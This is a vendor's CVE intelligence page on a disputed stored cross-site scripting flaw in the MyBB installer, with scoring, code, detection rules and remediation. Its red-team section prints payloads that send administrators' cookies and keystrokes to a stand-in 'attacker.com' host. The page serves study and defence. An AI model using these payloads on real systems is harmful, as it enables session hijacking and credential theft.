☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Mybb logo [ WEBSITE ] [ VENDOR STATS ]
SOON CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-52702

CVE-2024-52702 Cross-Site Scripting in Mybb
📅 PUBLISHED: 2024-11-20 00:00 UTC 🔄 UPDATED: 2026-08-12 09:00 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 1.01%
👁️
1.01% probability
25.2× above the median CVE
Tier: HIGH
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: v1.8.38
CVSS VECTOR BREAKDOWN 0.0
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: H Privileges Required High
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-52702 describes a stored cross-site scripting (XSS) vulnerability in MyBB v1.8.38, specifically within the install/index.php component. An attacker with administrative privileges can inject arbitrary JavaScript or HTML into the "Website Name" parameter during installation. The injected payload is stored and executed when other administrators view the affected page. The vendor disputes the finding, arguing that only administrators can set the Website Name and may intentionally use JavaScript. However, from a defense-in-depth perspective, any stored XSS in a privileged interface increases the risk of session hijacking, credential theft, or lateral movement if an admin account is compromised.

Note: This vulnerability is not related to a WordPress plugin or component; it affects the standalone MyBB forum software.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

MyBB is a self-hosted PHP application distributed via its official website and GitHub. There is no NPM, PyPI, Go, or Ruby package involved. The risk is limited to direct exploitation of the MyBB installation interface.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – The installation interface is accessible over the network.
  • Attack Complexity (AC): Low (L) – No special conditions required beyond network access.
  • Privileges Required (PR): High (H) – The attacker must have administrative access to the MyBB installation.
  • User Interaction (UI): Required (R) – Another administrator must view the affected page.
  • Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component.
  • Confidentiality (C): Low (L) – Limited data exposure possible.
  • Integrity (I): Low (L) – Limited ability to modify data.
  • Availability (A): None (N) – No direct impact on availability.

CVSS Score: 4.8 (Medium)

Threat Level: Medium – Exploitation requires administrative privileges, but the impact can be significant if an admin account is compromised.

Deep Dive & Mechanics

The vulnerability resides in install/index.php, which handles the initial MyBB setup. The "Website Name" parameter is stored in the database without proper sanitization or output encoding. When an administrator views the settings page, the stored value is rendered directly into the HTML, allowing arbitrary script execution.

Root Cause: Lack of output encoding for the Website Name field in the installation interface. The value is stored as-is and later echoed without escaping.

Attack Flow:

  1. An attacker gains administrative access (e.g., via credential theft or social engineering).
  2. The attacker navigates to the installation page (install/index.php) and sets the Website Name to a malicious payload, e.g., <script>alert('XSS')</script>.
  3. The payload is stored in the database.
  4. When another administrator views the settings page, the payload executes in their browser.

Dispute Note: The vendor argues that only administrators can set this field, and they may intentionally use JavaScript. However, this ignores the risk of compromised admin accounts and the principle of least privilege.

Vulnerable vs. Patched Code

Vulnerable Code (MyBB v1.8.38):

// install/index.php (simplified)
$website_name = $_POST['website_name'];
// No sanitization or encoding
$db->insert("settings", array("name" => $website_name));

Patched Code (Hypothetical):

// install/index.php (patched)
$website_name = htmlspecialchars($_POST['website_name'], ENT_QUOTES, 'UTF-8');
$db->insert("settings", array("name" => $website_name));

Explanation: The patched version uses htmlspecialchars() to encode HTML special characters, preventing script injection. The vulnerable version stores the raw input.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • Administrative access to MyBB v1.8.38.
  • Network access to the installation interface.

Exploit Steps:

  1. Log in as an administrator.
  2. Navigate to install/index.php.
  3. Set the "Website Name" to:
    <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
    
  4. Complete the installation or save settings.
  5. When another admin views the settings page, the script executes, exfiltrating cookies.

Alternative Payload (Keylogger):

<script>
document.addEventListener('keydown', function(e) {
    fetch('https://attacker.com/keylog?key='+e.key);
});
</script>

Blue Team

Detection:

  • Monitor for unusual changes to the Website Name setting.
  • Look for JavaScript payloads in database entries for the settings table.
  • Use WAF rules to block common XSS patterns in POST parameters.

Hunting Query (SQL):

SELECT * FROM mybb_settings WHERE name LIKE '%<script%' OR name LIKE '%onerror%';

Log Analysis:

  • Check web server logs for requests to install/index.php with suspicious website_name parameters.
  • Example log entry:
    192.168.1.100 - - [01/Jan/2024:12:00:00 +0000] "POST /install/index.php HTTP/1.1" 200 1234 "http://target.com/install/" "Mozilla/5.0"
    

Indicators of Compromise (IOCs)

  • Network IOCs:

    • Outbound connections to attacker-controlled domains from the MyBB server.
    • Unusual POST requests to install/index.php with encoded JavaScript in the website_name parameter.
  • Host IOCs:

    • Database entries in mybb_settings containing <script> tags or event handlers.
    • Modified settings table with unexpected values for website_name.
  • File IOCs:

    • No file changes required; exploitation is purely data-driven.

Detection Engineering

YARA Rule

rule CVE_2024_52702_XSS_MyBB {
    meta:
        description = "Detects stored XSS payload in MyBB settings database dump"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-52702"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /onerror\s*=\s*["']?[^"']*["']?/i
        $xss3 = /onload\s*=\s*["']?[^"']*["']?/i
    condition:
        any of them
}

Sigma Rule

title: Stored XSS in MyBB Website Name Parameter
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects potential stored XSS via Website Name parameter in MyBB install/index.php
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/install/index.php'
        cs-uri-query|contains: 'website_name'
    condition: selection
falsepositives:
    - Legitimate admin changes to Website Name
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-52702 MyBB Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/install/index.php"; http_uri; content:"website_name"; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Restrict Access: Limit access to install/index.php to trusted IPs only.
  2. Input Validation: Implement server-side validation to reject HTML/JavaScript in the Website Name field.
  3. Output Encoding: Apply htmlspecialchars() or equivalent when rendering the Website Name.

Long-Term Fix:

  • Upgrade to a patched version of MyBB once available.
  • Apply a WAF rule to block XSS patterns in POST parameters.

Workaround:

  • Manually edit install/index.php to sanitize the Website Name input:
    $website_name = htmlspecialchars($_POST['website_name'], ENT_QUOTES, 'UTF-8');
    

Monitoring:

  • Enable detailed logging for all POST requests to install/index.php.
  • Regularly audit the settings table for unexpected values.

Valters IT

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"MyBB"
http.html:"Powered By MyBB"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-52702/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.